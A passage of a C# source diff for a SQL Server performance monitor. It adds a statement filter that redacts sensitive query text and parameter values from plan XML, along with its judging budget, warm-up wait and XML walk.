+        public bool Contains(string text)
+        {
+            // Nothing remembered (the common case) costs no hashing at all.
+            if (_count == 0)
+            {
+                return false;
+            }
+
+            var key = Digest(text);
+            lock (_gate)
+            {
+                return _digests.Contains(key);
+            }
+        }
+
+        public void Add(string text)
+        {
+            var key = Digest(text);
+            lock (_gate)
+            {
+                if (_digests.Count >= TimedOutMemoLimit)
+                {
+                    _digests.Clear();
+                }
+
+                _digests.Add(key);
+                _count = _digests.Count;
+            }
+        }
+
+        public void Clear()
+        {
+            lock (_gate)
+            {
+                _digests.Clear();
+                _count = 0;
+            }
+        }
+
+        private static (ulong, ulong, ulong, ulong) Digest(string text)
+        {
+            Span<byte> hash = stackalloc byte[SHA256.HashSizeInBytes];
+            SHA256.HashData(MemoryMarshal.AsBytes(text.AsSpan()), hash);
+            return (
+                BitConverter.ToUInt64(hash[..8]),
+                BitConverter.ToUInt64(hash[8..16]),
+                BitConverter.ToUInt64(hash[16..24]),
+                BitConverter.ToUInt64(hash[24..]));
+        }
+    }
+
+    /// <summary>
+    /// The statement filter for one collector read call. <see cref="Text"/> and <see cref="Xml"/> behave as the
+    /// read-time <c>Text</c> and <c>Xml</c> do: the same instance when nothing is named, otherwise
+    /// <see cref="PlaceholderText"/> (or, for a document, the document with the named values replaced). They never
+    /// throw, never observe a cancellation token and never await.
+    ///
+    /// <para><b>Budget.</b> One 15-second elapsed budget per session, shared by every value the session judges (it is not a limit per value or per item). A value reached after the budget is spent is
+    /// the marker, unjudged, and is counted in <see cref="Unjudged"/>; a document that crosses the budget part way
+    /// is withheld whole. <see cref="TryText"/> and <see cref="TryXml"/> return false for such a value so a writer
+    /// that can fetch it again next cycle may drop the row instead of storing the marker. A value whose match timed
+    /// out is withheld too (that IS stored as the marker) and is remembered process-wide.</para>
+    ///
+    /// <para><b>Not thread-safe.</b> A session belongs to one read call.</para>
+    /// </summary>
+    public sealed class Session
+    {
+        private enum Outcome { Clean, Withheld, Unjudged }
+
+        private readonly JudgeBudget _budget;
+        private readonly TimedOutMemo _timedOut;
+        private readonly Dictionary<string, Outcome> _memo = new(StringComparer.Ordinal);
+
+        /// <summary>A session with the real judge and the 15-second budget, which is shared by every value the session judges.</summary>
+        public Session()
+            : this(null, null, null, null)
+        {
+        }
+
+        /// <summary>A session with a fake judge, clock, limit or memo, for tests.</summary>
+        internal Session(Func<string, Verdict>? judge, Func<TimeSpan>? clock, TimeSpan? limit, TimedOutMemo? timedOut)
+        {
+            _budget = new JudgeBudget(limit ?? SessionBudget, judge, clock);
+            _timedOut = timedOut ?? TimedOutMemo.Shared;
+        }
+
+        /// <summary>Non-empty values presented to this session.</summary>
+        public long Values { get; private set; }
+
+        /// <summary>Values withheld because they were named or their match timed out.</summary>
+        public long Named { get; private set; }
+
+        /// <summary>Regex matches that timed out while this session ran (a value remembered process-wide does not
+        /// run a match and is not counted here).</summary>
+        public long TimedOut => _budget.TimedOut;
+
+        /// <summary>Values withheld unjudged because the budget was spent (<c>statement_scrub_unjudged</c>).</summary>
+        public long Unjudged { get; private set; }
+
+        /// <summary>Values whose verdict this session had already reached.</summary>
+        public long MemoHits { get; private set; }
+
+        /// <summary>Values taken from the process-wide timed-out memo without running the regex.</summary>
+        public long TimedOutMemoHits { get; private set; }
+
+        /// <summary>Milliseconds charged to the budget so far.</summary>
+        public long ElapsedMs => (long)_budget.Elapsed.TotalMilliseconds;
+
+        /// <summary>Whether the budget is spent.</summary>
+        public bool Spent => _budget.Spent;
+
+        /// <summary>The statement text, or <see cref="PlaceholderText"/> when it is named or was not judged.</summary>
+        public string? Text(string? value)
+        {
+            TryText(value, out var result);
+            return result;
+        }
+
+        /// <summary>As <see cref="Text"/>, and false when the value was NOT judged because the budget is spent
+        /// (<paramref name="result"/> is then the marker).</summary>
+        public bool TryText(string? value, out string? result)
+        {
+            result = value;
+            if (string.IsNullOrEmpty(value))
+            {
+                return true;
+            }
+
+            Values++;
+            try
+            {
+                var outcome = JudgeText(value, memoizeAnyLength: true);
+                switch (outcome)
+                {
+                    case Outcome.Clean:
+                        return true;
+                    case Outcome.Unjudged:
+                        Unjudged++;
+                        result = PlaceholderText;
+                        return false;
+                    default:
+                        Named++;
+                        result = PlaceholderText;
+                        return true;
+                }
+            }
+#pragma warning disable CA1031 // fail closed: a value that cannot be judged is withheld
+            catch (Exception)
+#pragma warning restore CA1031
+            {
+                Named++;
+                result = PlaceholderText;
+                return true;
+            }
+        }
+
+        /// <summary>The plan or XML document, with each named value, or the whole document, replaced.</summary>
+        public string? Xml(string? xml)
+        {
+            TryXml(xml, out var result);
+            return result;
+        }
+
+        /// <summary>As <see cref="Xml"/>, and false when the document was NOT fully judged because the budget was
+        /// spent before or during it (<paramref name="result"/> is then the marker for the WHOLE document).</summary>
+        public bool TryXml(string? xml, out string? result)
+        {
+            result = xml;
+            if (string.IsNullOrEmpty(xml))
+            {
+                return true;
+            }
+
+            Values++;
+            var sawSpent = false;
+            var unjudgedBefore = _budget.Unjudged;
+            try
+            {
+                var scrubbed = XmlCore(
+                    xml,
+                    value => JudgeText(value, memoizeAnyLength: false) != Outcome.Clean,
+                    () =>
+                    {
+                        if (_budget.Spent)
+                        {
+                            sawSpent = true;
+                            return true;
+                        }
+
+                        return false;
+                    },
+                    PlaceholderText,
+                    _budget.AddElapsed);
+
+                // A value judged after the budget ran out came back as named without being judged, so the
+                // document in hand cannot be trusted to be minimal: the whole document is the marker.
+                if (sawSpent || _budget.Unjudged != unjudgedBefore)
+                {
+                    Unjudged++;
+                    result = PlaceholderText;
+                    return false;
+                }
+
+                result = scrubbed;
+                if (!ReferenceEquals(scrubbed, xml))
+                {
+                    Named++;
+                }
+
+                return true;
+            }
+#pragma warning disable CA1031 // fail closed
+            catch (Exception)
+#pragma warning restore CA1031
+            {
+                Named++;
+                result = PlaceholderText;
+                return true;
+            }
+        }
+
+        private Outcome JudgeText(string value, bool memoizeAnyLength)
+        {
+            if (_memo.TryGetValue(value, out var known))
+            {
+                MemoHits++;
+                return known;
+            }
+
+            var outcome = JudgeFresh(value);
+            if (outcome == Outcome.Clean && value.Contains('&', StringComparison.Ordinal))
+            {
+                outcome = JudgeFresh(WebUtility.HtmlDecode(value));
+            }
+
+            // A value left unjudged by a spent budget is not remembered: a later session may judge it.
+            if (outcome != Outcome.Unjudged && (memoizeAnyLength || value.Length <= InnerMemoMaxChars))
+            {
+                if (_memo.Count >= SessionMemoLimit)
+                {
+                    _memo.Clear();
+                }
+
+                _memo[value] = outcome;
+            }
+
+            return outcome;
+        }
+
+        private Outcome JudgeFresh(string text)
+        {
+            if (string.IsNullOrEmpty(text))
+            {
+                return Outcome.Clean;
+            }
+
+            if (_timedOut.Contains(text))
+            {
+                TimedOutMemoHits++;
+                return Outcome.Withheld;
+            }
+
+            var unjudgedBefore = _budget.Unjudged;
+            var verdict = _budget.Judge(text);
+            if (_budget.Unjudged != unjudgedBefore)
+            {
+                return Outcome.Unjudged;
+            }
+
+            if (verdict == Verdict.TimedOut)
+            {
+                _timedOut.Add(text);
+            }
+
+            return verdict == Verdict.Clean ? Outcome.Clean : Outcome.Withheld;
+        }
+    }
+}
diff --git a/PerformanceMonitor.Common/SensitiveStatements.WarmUp.cs b/PerformanceMonitor.Common/SensitiveStatements.WarmUp.cs
new file mode 100644
index 0000000000..1f65a53ccb
--- /dev/null
+++ b/PerformanceMonitor.Common/SensitiveStatements.WarmUp.cs
@@ -0,0 +1,214 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Diagnostics;
+using System.Threading;
+using System.Threading.Tasks;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// The waiting half of the start-up warm-up (#5478, round 1 of #5484). The warm-up itself lives in
+/// <c>AlertStatementFilter.WarmUpAsync</c> (Alerting), which Common cannot see, so it registers its task here, beside
+/// the code it warms. Every path that judges a large document (an alert, an MCP or web read) asks here whether the
+/// warm-up is still running.
+/// <para><b>One deadline.</b> The warm-up records when it started. Any caller waits at most until start + 3 s, so once
+/// that moment has passed nobody waits: a hung or slow warm-up costs the process 3 s once, not 3 s per caller, and a
+/// timed-out async wait followed by a sync wait does not wait twice.</para>
+/// <para><b>Size gate.</b> The blocking wait applies only to a call that will judge at least
+/// <see cref="WarmUpWaitGateChars"/> characters in total. Below that a cold walk fits the base judging budget, so a
+/// small alert never waits, and a UI thread that fires a small alert is never held for the warm-up.</para>
+/// </summary>
+public static partial class SensitiveStatements
+{
+    /// <summary>The longest, counted from the moment the warm-up started, that anyone waits for it.</summary>
+    internal static readonly TimeSpan WarmUpWaitLimit = TimeSpan.FromSeconds(3);
+
+    /// <summary>
+    /// The text a call must judge, in total, before it waits for a running warm-up: 256 KB. Below it a cold walk of
+    /// the filter code fits inside the base budget (<see cref="ReadBudget"/>), so waiting would only delay the call.
+    /// </summary>
+    internal const int WarmUpWaitGateChars = 256 * 1024;
+
+    /// <summary>The warm-up task and the moment it started, written together so a reader never pairs one warm-up's task
+    /// with another's start.</summary>
+    private sealed record WarmUpState(Task Task, long StartedTimestamp);
+
+    private static WarmUpState? s_warmUpState;
+
+    /// <summary>True on the warm-up's own async flow, so its own judging calls never wait on it. The flag is async-local:
+    /// it follows the warm-up across its awaits and never reaches a caller's thread.</summary>
+    private static readonly AsyncLocal<bool> s_insideWarmUp = new();
+
+    /// <summary>
+    /// Registers a warm-up and starts <paramref name="body"/> on the thread pool. The registration (task and start time)
+    /// is written BEFORE the body can run, so nothing the body does can see an older warm-up. The task it returns always
+    /// completes normally: a body that throws is swallowed, because a warm-up that fails changes nothing (the first real
+    /// call does the same work).
+    /// </summary>
+    internal static Task StartWarmUp(Func<Task> body)
+    {
+        ArgumentNullException.ThrowIfNull(body);
+
+        var done = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        SetWarmUp(done.Task, Stopwatch.GetTimestamp());
+
+        _ = Task.Run(async () =>
+        {
+            s_insideWarmUp.Value = true;
+            try
+            {
+                await body().ConfigureAwait(false);
+            }
+#pragma warning disable CA1031 // a warm-up that fails changes nothing: the first real call does the same work
+            catch (Exception)
+#pragma warning restore CA1031
+            {
+            }
+            finally
+            {
+                done.TrySetResult();
+            }
+        });
+
+        return done.Task;
+    }
+
+    /// <summary>The registered warm-up task, or null. Tests read it to prove the registration comes first.</summary>
+    internal static Task? RegisteredWarmUp => Volatile.Read(ref s_warmUpState)?.Task;
+
+    /// <summary>Sets (or, with null, clears) the registered warm-up. Tests stage a fake with it.</summary>
+    internal static void SetWarmUp(Task? warmUp, long startedTimestamp) =>
+        Volatile.Write(ref s_warmUpState, warmUp is null ? null : new WarmUpState(warmUp, startedTimestamp));
+
+    /// <summary>
+    /// True only while a call could still be made to wait: a warm-up is registered, it has not completed, the caller is
+    /// not the warm-up itself, and its single deadline has not passed. A cheap read (no sizing, no wait): the callers
+    /// size a document only when this is true, so after the first seconds of the process no sweep or alert pays for
+    /// sizing (#5484). Shares <see cref="IsWarmUpPending"/> with the waits, so the two never drift.
+    /// </summary>
+    internal static bool WarmUpPending
+    {
+        get
+        {
+            var state = Volatile.Read(ref s_warmUpState);
+            return state is not null && IsWarmUpPending(state.Task, state.StartedTimestamp, WarmUpWaitLimit, out _);
+        }
+    }
+
+    /// <summary>
+    /// The one definition of "a wait could still happen": a warm-up exists, it has not completed, the caller is not the
+    /// warm-up, and time is left before start + <paramref name="limit"/>. <paramref name="remaining"/> is the time left.
+    /// </summary>
+    private static bool IsWarmUpPending(Task? warmUp, long startedTimestamp, TimeSpan limit, out TimeSpan remaining)
+    {
+        remaining = TimeSpan.Zero;
+        if (warmUp is null || warmUp.IsCompleted || s_insideWarmUp.Value)
+        {
+            return false;
+        }
+
+        remaining = limit - Stopwatch.GetElapsedTime(startedTimestamp);
+        return remaining > TimeSpan.Zero;
+    }
+
+    /// <summary>
+    /// Blocks while a warm-up is running, when this call will judge <paramref name="judgedChars"/> characters in total
+    /// and that is at least <see cref="WarmUpWaitGateChars"/>; never past the single deadline. For callers that already
+    /// run on a pool thread (the MCP and web sweep) or that carry small text (an alert). Never throws.
+    /// </summary>
+    internal static void WaitForWarmUp(long judgedChars)
+    {
+        if (judgedChars < WarmUpWaitGateChars)
+        {
+            return;
+        }
+
+        var state = Volatile.Read(ref s_warmUpState);
+        if (state is not null)
+        {
+            WaitForWarmUp(state.Task, state.StartedTimestamp, WarmUpWaitLimit);
+        }
+    }
+
+    /// <summary>
+    /// The sized form: <paramref name="sizeOfCall"/> (a walk of the whole result or context, which for an MCP result can
+    /// copy megabytes) runs only while <see cref="WarmUpPending"/> is true. Otherwise there is no sizing and no wait.
+    /// Never throws from the wait; a throw from <paramref name="sizeOfCall"/> is the caller's.
+    /// </summary>
+    internal static void WaitForWarmUp(Func<long> sizeOfCall)
+    {
+        ArgumentNullException.ThrowIfNull(sizeOfCall);
+
+        if (WarmUpPending)
+        {
+            WaitForWarmUp(sizeOfCall());
+        }
+    }
+
+    /// <summary>
+    /// True when there is nothing to wait for or the warm-up finished; false when the deadline (start + limit) passed
+    /// first or the wait failed. Nothing waits when there is no warm-up, it already finished, the caller is the warm-up,
+    /// or the deadline has passed. Never throws.
+    /// </summary>
+    internal static bool WaitForWarmUp(Task? warmUp, long startedTimestamp, TimeSpan limit)
+    {
+        if (warmUp is null || warmUp.IsCompleted || s_insideWarmUp.Value)
+        {
+            return true;
+        }
+
+        if (!IsWarmUpPending(warmUp, startedTimestamp, limit, out var remaining))
+        {
+            return false;
+        }
+
+        try
+        {
+            return warmUp.Wait(remaining);
+        }
+#pragma warning disable CA1031 // a failed wait changes nothing: the call is judged as it would be cold
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// The async twin, for callers on a thread that must not block (the alert engine's fire path, which Lite drives from
+    /// its UI thread). Completed when there is no warm-up, it finished, the caller is the warm-up, or the deadline has
+    /// passed; otherwise it waits for the warm-up or the deadline, whichever comes first. Never throws.
+    /// </summary>
+    internal static Task WhenWarmAsync()
+    {
+        var state = Volatile.Read(ref s_warmUpState);
+        return state is null ? Task.CompletedTask : WhenWarmAsync(state.Task, state.StartedTimestamp, WarmUpWaitLimit);
+    }
+
+    internal static Task WhenWarmAsync(Task? warmUp, long startedTimestamp, TimeSpan limit)
+    {
+        return IsWarmUpPending(warmUp, startedTimestamp, limit, out var remaining)
+            ? WaitUpToAsync(warmUp!, remaining)
+            : Task.CompletedTask;
+    }
+
+    private static async Task WaitUpToAsync(Task warmUp, TimeSpan remaining)
+    {
+        try
+        {
+            await warmUp.WaitAsync(remaining).ConfigureAwait(false);
+        }
+#pragma warning disable CA1031 // a timeout or a failed warm-up changes nothing: the call is judged as it would be cold
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+        }
+    }
+}
diff --git a/PerformanceMonitor.Common/SensitiveStatements.Xml.cs b/PerformanceMonitor.Common/SensitiveStatements.Xml.cs
new file mode 100644
index 0000000000..11dd3c15d0
--- /dev/null
+++ b/PerformanceMonitor.Common/SensitiveStatements.Xml.cs
@@ -0,0 +1,947 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Globalization;
+using System.IO;
+using System.Net;
+using System.Text;
+using System.Text.RegularExpressions;
+using System.Xml;
+
+namespace PerformanceMonitor.Common;
+
+/// <summary>
+/// The XML walk of the statement filter (#4348): plan XML, blocked-process reports, deadlock graphs and
+/// <c>system_health</c> event XML go through <see cref="XmlCore"/>. Every decision about WHAT is named is the
+/// caller's <c>isNamed</c> predicate; this file only decides which values are judged, which are exempt and what is
+/// written in place of a withheld value. Not wired to a caller yet.
+/// </summary>
+public static partial class SensitiveStatements
+{
+    /// <summary>Output past the cut by this many characters is still produced, so a caller that cuts at
+    /// <c>maxOutputChars</c> never sees a short result (P3).</summary>
+    private const int XmlCutSlack = 64;
+
+    /// <summary>
+    /// Judges every attribute value and every text or CDATA node of <paramref name="xml"/> with
+    /// <paramref name="isNamed"/> and returns the SAME instance when nothing is named. When something is named the
+    /// document is rewritten with the named values replaced by <paramref name="placeholder"/>, and a statement
+    /// element (a <c>Stmt*</c> element, or any element that carries a <c>StatementText</c> or
+    /// <c>ParameterizedText</c> attribute) whose text, or whose auto-parameter probe, is named is withheld whole: the
+    /// parameter and literal values inside it are the placeholder too (H2). Outside such a statement a
+    /// <c>ParameterCompiledValue</c> or <c>ParameterRuntimeValue</c> is not judged on its own, with two exceptions:
+    /// an auto-parameter (<c>@N</c>) value is judged inside its statement, and a value past the point where pass 1
+    /// stopped reading is withheld. All other such values are kept.
+    /// Fails closed: a document that does not parse is judged as decoded text and withheld whole when named; any
+    /// other failure, and a spent budget, withhold the whole document. A plan nested in an <c>EdcShowplanXml</c> attribute is judged one level deep; a deeper one is withheld.
+    /// </summary>
+    /// <param name="xml">The document or fragment.</param>
+    /// <param name="isNamed">The judge for one decoded value.</param>
+    /// <param name="budgetSpent">Asked between nodes; true withholds the whole document.</param>
+    /// <param name="placeholder">What a withheld value, or a withheld document, becomes.</param>
+    /// <param name="chargeParse">Receives the time spent parsing and writing (everything outside
+    /// <paramref name="isNamed"/>), so a budget can count it.</param>
+    /// <param name="maxOutputChars">The caller will cut the result at this length: work stops once nothing before
+    /// the cut can change (P3, L-I).</param>
+    /// <param name="depth">How deeply this document is nested in a plan held by an <c>EdcShowplanXml</c> attribute
+    /// (0 for a caller's document). Nested plans are judged one level deep; a plan held at a deeper level is
+    /// withheld without being parsed.</param>
+    internal static string? XmlCore(
+        string? xml,
+        Func<string, bool> isNamed,
+        Func<bool> budgetSpent,
+        string placeholder,
+        Action<TimeSpan>? chargeParse = null,
+        int maxOutputChars = int.MaxValue,
+        int depth = 0)
+    {
+        if (string.IsNullOrEmpty(xml))
+            return xml;
+
+        var run = new XmlRun(isNamed, budgetSpent, placeholder, chargeParse, depth);
+        long cut = maxOutputChars == int.MaxValue ? long.MaxValue : (long)maxOutputChars + XmlCutSlack;
+
+        XmlPassOutcome outcome;
+        try
+        {
+            outcome = run.PassOne(xml, cut);
+        }
+        catch (XmlException)
+        {
+            // Cut, malformed, or a DTD (prohibited): judge the whole text, entities decoded.
+            try
+            {
+                if (budgetSpent())
+                    return placeholder;
+                // A plan that does not parse cannot be probed. When the probe could have mattered (an
+                // auto-parameter token, and parameter values to put back) the stored text names nothing on its own,
+                // so the document is withheld whole without asking the judge.
+                if (XmlRun.ProbeCouldHaveMattered(xml))
+                    return placeholder;
+                string decoded = WebUtility.HtmlDecode(xml);
+                if (isNamed(decoded))
+                    return placeholder;
+                // The parsed path judges the statement with each token put back; with no value to put back the
+                // token is N'?', so a statement the judge names that way is withheld here too.
+                string? probed = XmlRun.TokensAsPlaceholderValues(decoded);
+                return probed is not null && isNamed(probed) ? placeholder : xml;
+            }
+            catch (Exception)
+            {
+                return placeholder;
+            }
+        }
+        catch (Exception)
+        {
+            return placeholder;
+        }
+
+        if (outcome == XmlPassOutcome.Spent)
+            return placeholder;
+        if (outcome == XmlPassOutcome.Clean)
+            return xml;
+
+        try
+        {
+            return run.PassTwo(xml, cut);
+        }
+        catch (Exception)
+        {
+            return placeholder;
+        }
+    }
+
+    /// <summary>Documents the whole-document check cleared without a walk (#5477); counted on the calling thread; a test reads it to
+    /// pin which documents take that path.</summary>
+    [ThreadStatic]
+    internal static long RawCleanClears;
+
+    /// <summary>
+    /// True when <paramref name="xml"/> provably holds no value the production judge would name, so the walk (two
+    /// parses and a judge call per value) can be skipped and the document returned as it is (#5477). One pass of the
+    /// linear-time pre-check over the raw text, charged to <paramref name="budget"/>.
+    ///
+    /// <para><b>Why a clear is exact.</b> The production judge starts every value with that same pre-check, a superset
+    /// of the pattern with no context-dependent part, and a value the pre-check misses is clean. A match inside a
+    /// value is therefore a match inside the raw text, provided the value is a contiguous piece of the raw text, or
+    /// differs from it only in characters the pattern cannot tell apart. Five conditions make that so, and each
+    /// one that fails sends the document to the walk, as before: no <c>&amp;</c> (a value is its raw text, nothing is
+    /// decoded, and no nested plan is held in an attribute); no carriage return (the reader turns CR LF into one
+    /// character and the pattern counts characters, so a counted part such as the type length could read a
+    /// different run in the value than in the text); no <c>--</c> (the line-comment part of the pattern reads up to a
+    /// control character, and the reader turns a tab or a line break inside an attribute into a space, so a
+    /// comment could run further in the value than in the text); no auto-parameter token and no <c>ParameterizedText</c>
+    /// element (the walk judges statements it assembles from the plan's parameter values, which no raw text
+    /// holds); and a judge that works (<see cref="s_judgeIsLive"/>) behind a budget that runs it. What is left of the
+    /// pattern sees a tab and a line break as the same space, one character for one. A text that is not well formed,
+    /// and a match that times out, are not cleared here: the first reaches the walk's own whole-text rule, and the
+    /// second the walk.</para>
+    /// </summary>
+    internal static bool RawTextHoldsNothingNamed(JudgeBudget budget, string xml)
+    {
+        try
+        {
+            if (!budget.UsesSharedJudge || budget.Spent)
+                return false;
+            if (xml.Contains('&') || xml.Contains('\r') || xml.Contains("--", StringComparison.Ordinal) || XmlRun.MayNeedProbe(xml))
+                return false;
+            // Built here, before the clock starts, as the judge's own first value would build it.
+            if (!s_judgeIsLive.Value)
+                return false;
+            var precheck = s_prefilter.Value;
+            if (precheck is null)
+                return false;
+            var started = Stopwatch.GetTimestamp();
+            bool matched;
+            try
+            {
+                matched = precheck.IsMatch(xml);
+            }
+            catch (RegexMatchTimeoutException)
+            {
+                matched = true;
+            }
+            finally
+            {
+                budget.AddElapsed(Stopwatch.GetElapsedTime(started));
+            }
+            if (matched)
+                return false;
+            RawCleanClears++;
+            return true;
+        }
+#pragma warning disable CA1031 // fail closed: a document that cannot be pre-checked is walked
+        catch (Exception)
+#pragma warning restore CA1031
+        {
+            return false;
+        }
+    }
+
+    /// <summary>The deepest nesting <see cref="XmlCore"/> parses: a plan held in an <c>EdcShowplanXml</c> attribute
+    /// is depth 1, and a plan held inside that one is withheld.</summary>
+    private const int MaxNestedPlanDepth = 1;
+
+    private enum XmlPassOutcome { Clean, Hit, Spent }
+
+    /// <summary>One <see cref="XmlCore"/> call: the two passes share the judge, the budget and the parse timer.</summary>
+    private sealed class XmlRun
+    {
+        private readonly Func<string, bool> _isNamed;
+        private readonly Func<bool> _budgetSpent;
+        private readonly string _placeholder;
+        private readonly Action<TimeSpan>? _chargeParse;
+        private long _mark;
+
+        /// <summary>The nesting depth of this document (0 for a caller's document); see <see cref="XmlCore"/>.</summary>
+        private readonly int _depth;
+
+        /// <summary><c>Stmt*</c> start tags seen so far, in document order. Both passes number them the same way;
+        /// pass 1 records the ordinals the auto-parameter probe names and pass 2 opens a scope for each.</summary>
+        private int _stmtOrdinal;
+
+        /// <summary>Ordinals of the statements whose probe (or element-form <c>ParameterizedText</c>) is named.</summary>
+        private readonly HashSet<int> _probeNamed = new();
+        // #5320: pass 1 stops by INPUT offset and pass 2 by OUTPUT length, and pass 2 can write input that lies past
+        // pass 1's stop (a withheld long text and every &apos; write back shorter than they were read). Those nodes
+        // were never probed, so the values the filter exempts outside a scope are withheld from the stop on.
+        private int[]? _lineStarts;
+        private long _passOneStop = long.MaxValue;
+        private bool _pastVetted;
+
+        public XmlRun(Func<string, bool> isNamed, Func<bool> budgetSpent, string placeholder, Action<TimeSpan>? chargeParse, int depth = 0)
+        {
+            _depth = depth;
+            _isNamed = isNamed;
+            _budgetSpent = budgetSpent;
+            _placeholder = placeholder;
+            _chargeParse = chargeParse;
+        }
+
+        private static XmlReaderSettings ReaderSettings() => new()
+        {
+            DtdProcessing = DtdProcessing.Prohibit,
+            XmlResolver = null,
+            ConformanceLevel = ConformanceLevel.Fragment,
+            CheckCharacters = false,
+        };
+
+        private static bool IsStmt(string localName) => localName.StartsWith("Stmt", StringComparison.Ordinal);
+
+        /// <summary>Whether the element the reader is on is a statement element: every statement element of the
+        /// showplan schema is named <c>Stmt*</c> (checked against the published schema, 2005 to 2022), and an element
+        /// of any other name that carries a <c>StatementText</c> or <c>ParameterizedText</c> attribute is read the
+        /// same way. Both passes ask this of the same element, so the statement ordinals stay in step.</summary>
+        private static bool IsStatementElement(XmlReader reader) =>
+            IsStmt(reader.LocalName)
+            || (reader.HasAttributes
+                && (reader.GetAttribute("StatementText") is not null || reader.GetAttribute("ParameterizedText") is not null));
+
+        /// <summary>The hash and handle attributes a plan keeps inside a withheld scope although their value is a
+        /// binary literal.</summary>
+        private static bool IsHashOrHandle(string localName) =>
+            localName == "QueryHash" || localName == "QueryPlanHash" || localName == "StatementSqlHandle"
+            || localName == "ParameterizedPlanHandle" || localName == "PlanHandle" || localName == "SqlHandle";
+
+        /// <summary>Whether <paramref name="value"/> holds <c>0x</c> followed by a hex digit: a binary literal, which
+        /// has no quote for the quote rule to find.</summary>
+        private static bool HoldsBinaryLiteral(string value)
+        {
+            for (int i = value.IndexOf('0'); i >= 0 && i + 2 < value.Length; i = value.IndexOf('0', i + 1))
+            {
+                if ((value[i + 1] == 'x' || value[i + 1] == 'X') && char.IsAsciiHexDigit(value[i + 2]))
+                    return true;
+            }
+            return false;
+        }
+
+        /// <summary>The withheld-scope rule for a value outside the H2 list: it holds a quote or a binary literal
+        /// (a hash or handle attribute is exempt from the second).</summary>
+        private static bool WithheldInScope(string name, string value) =>
+            value.Contains('\'') || (HoldsBinaryLiteral(value) && !IsHashOrHandle(name));
+
+        /// <summary>Kept outside a withheld statement: the values a plan stores for its own parameters.</summary>
+        private static bool IsExempt(string localName) =>
+            localName == "ParameterCompiledValue" || localName == "ParameterRuntimeValue";
+
+        /// <summary>The H2 list: withheld whatever the pattern says, inside a withheld statement.</summary>
+        private static bool IsScopeList(string localName) =>
+            localName == "ParameterCompiledValue" || localName == "ParameterRuntimeValue"
+            || localName == "ScalarString" || localName == "ConstValue" || localName == "ParameterizedText"
+            || localName == "EdcShowplanXml";
+
+        private static bool IsNamespaceDeclaration(XmlReader reader) =>
+            reader.Prefix == "xmlns" || (reader.Prefix.Length == 0 && reader.LocalName == "xmlns");
+
+        /// <summary>Whether a statement element opens a withheld scope: its own text is named, or pass 1 named its
+        /// auto-parameter probe (or its element-form <c>ParameterizedText</c>).</summary>
+        private bool OpensScope(int ordinal, bool statementOrParameterizedTextNamed) =>
+            statementOrParameterizedTextNamed || _probeNamed.Contains(ordinal);
+
+        private void ChargeParse()
+        {
+            if (_chargeParse is null)
+                return;
+            long now = Stopwatch.GetTimestamp();
+            _chargeParse(Stopwatch.GetElapsedTime(_mark, now));
+            _mark = now;
+        }
+
+        private bool BudgetSpent()
+        {
+            ChargeParse();
+            return _budgetSpent();
+        }
+
+        /// <summary>The nested plan an <c>EdcShowplanXml</c> attribute holds, as a document of its own: its quotes
+        /// stay encoded in the attribute text, so the value is judged as a plan, like the whole document.</summary>
+        private static bool HoldsNestedPlan(string name) => name == "EdcShowplanXml";
+
+        /// <summary>The nested plan of <paramref name="value"/> run through the same judge and placeholder; the SAME
+        /// instance when nothing in it is named.</summary>
+        private string JudgeNested(string value)
+        {
+            // A plan holds at most one level of nested plan: a deeper one is withheld unparsed, so the input cannot
+            // make this recurse once per level.
+            if (_depth >= MaxNestedPlanDepth)
+                return value.Length == 0 ? value : _placeholder;
+            ChargeParse();
+            string? nested = XmlCore(value, _isNamed, _budgetSpent, _placeholder, depth: _depth + 1);
+            if (_chargeParse is not null)
+                _mark = Stopwatch.GetTimestamp();
+            return nested ?? value;
+        }
+
+        /// <summary>Whether <paramref name="value"/> is a plan nested deeper than <see cref="MaxNestedPlanDepth"/>:
+        /// withheld without being judged or parsed.</summary>
+        private bool TooDeep(string name, string value) =>
+            _depth >= MaxNestedPlanDepth && HoldsNestedPlan(name) && value.Length > 0;
+
+        private bool JudgeAttribute(string name, string value) =>
+            TooDeep(name, value) || Judge(value) || (HoldsNestedPlan(name) && !ReferenceEquals(JudgeNested(value), value));
+
+        private bool Judge(string value)
+        {
+            if (value.Length == 0)
+                return false;
+            ChargeParse();
+            bool named = _isNamed(value);
+            if (_chargeParse is not null)
+                _mark = Stopwatch.GetTimestamp();
+            return named;
+        }
+
+        /// <summary>One open element in pass 1: its local name, and for a statement element the statement state.
+        /// <see cref="OwnsValues"/> is true only for a <c>Stmt*</c> element: an element of another name that carries a
+        /// <c>StatementText</c> is a frame (scope, ordinal) but the parameter values below it are the outer
+        /// statement's.</summary>
+        private readonly struct OpenElement
+        {
+            public OpenElement(string name, StmtFrame? stmt)
+            {
+                Name = name;
+                Stmt = stmt;
+                OwnsValues = stmt is not null && IsStmt(name);
+            }
+
+            public bool OwnsValues { get; }
+
+            public string Name { get; }
+            public StmtFrame? Stmt { get; }
+        }
+
+        /// <summary>A statement open in pass 1. <see cref="Text"/> exists only when its <c>StatementText</c> holds an
+        /// auto-parameter token; <see cref="Values"/> exists once the statement has a parameter value. They are what
+        /// the probe is made from.</summary>
+        private sealed class StmtFrame
+        {
+            public StmtFrame(int ordinal, string? text, bool takesValues)
+            {
+                Ordinal = ordinal;
+                Text = text;
+                TakesValues = takesValues;
+            }
+
+            public int Ordinal { get; }
+            public string? Text { get; }
+
+            /// <summary>Every statement element keeps its parameter values so each can be judged, whether or not it has
+            /// a <c>StatementText</c> and even when no token in the text puts one back (#5320).</summary>
+            public bool TakesValues { get; }
+            public Dictionary<string, (string? Compiled, string? Runtime)>? Values { get; private set; }
+
+            public void SetValue(string column, string? compiled, string? runtime)
+            {
+                Values ??= new Dictionary<string, (string? Compiled, string? Runtime)>(StringComparer.Ordinal);
+                Values[column] = (compiled, runtime);
+            }
+        }
+
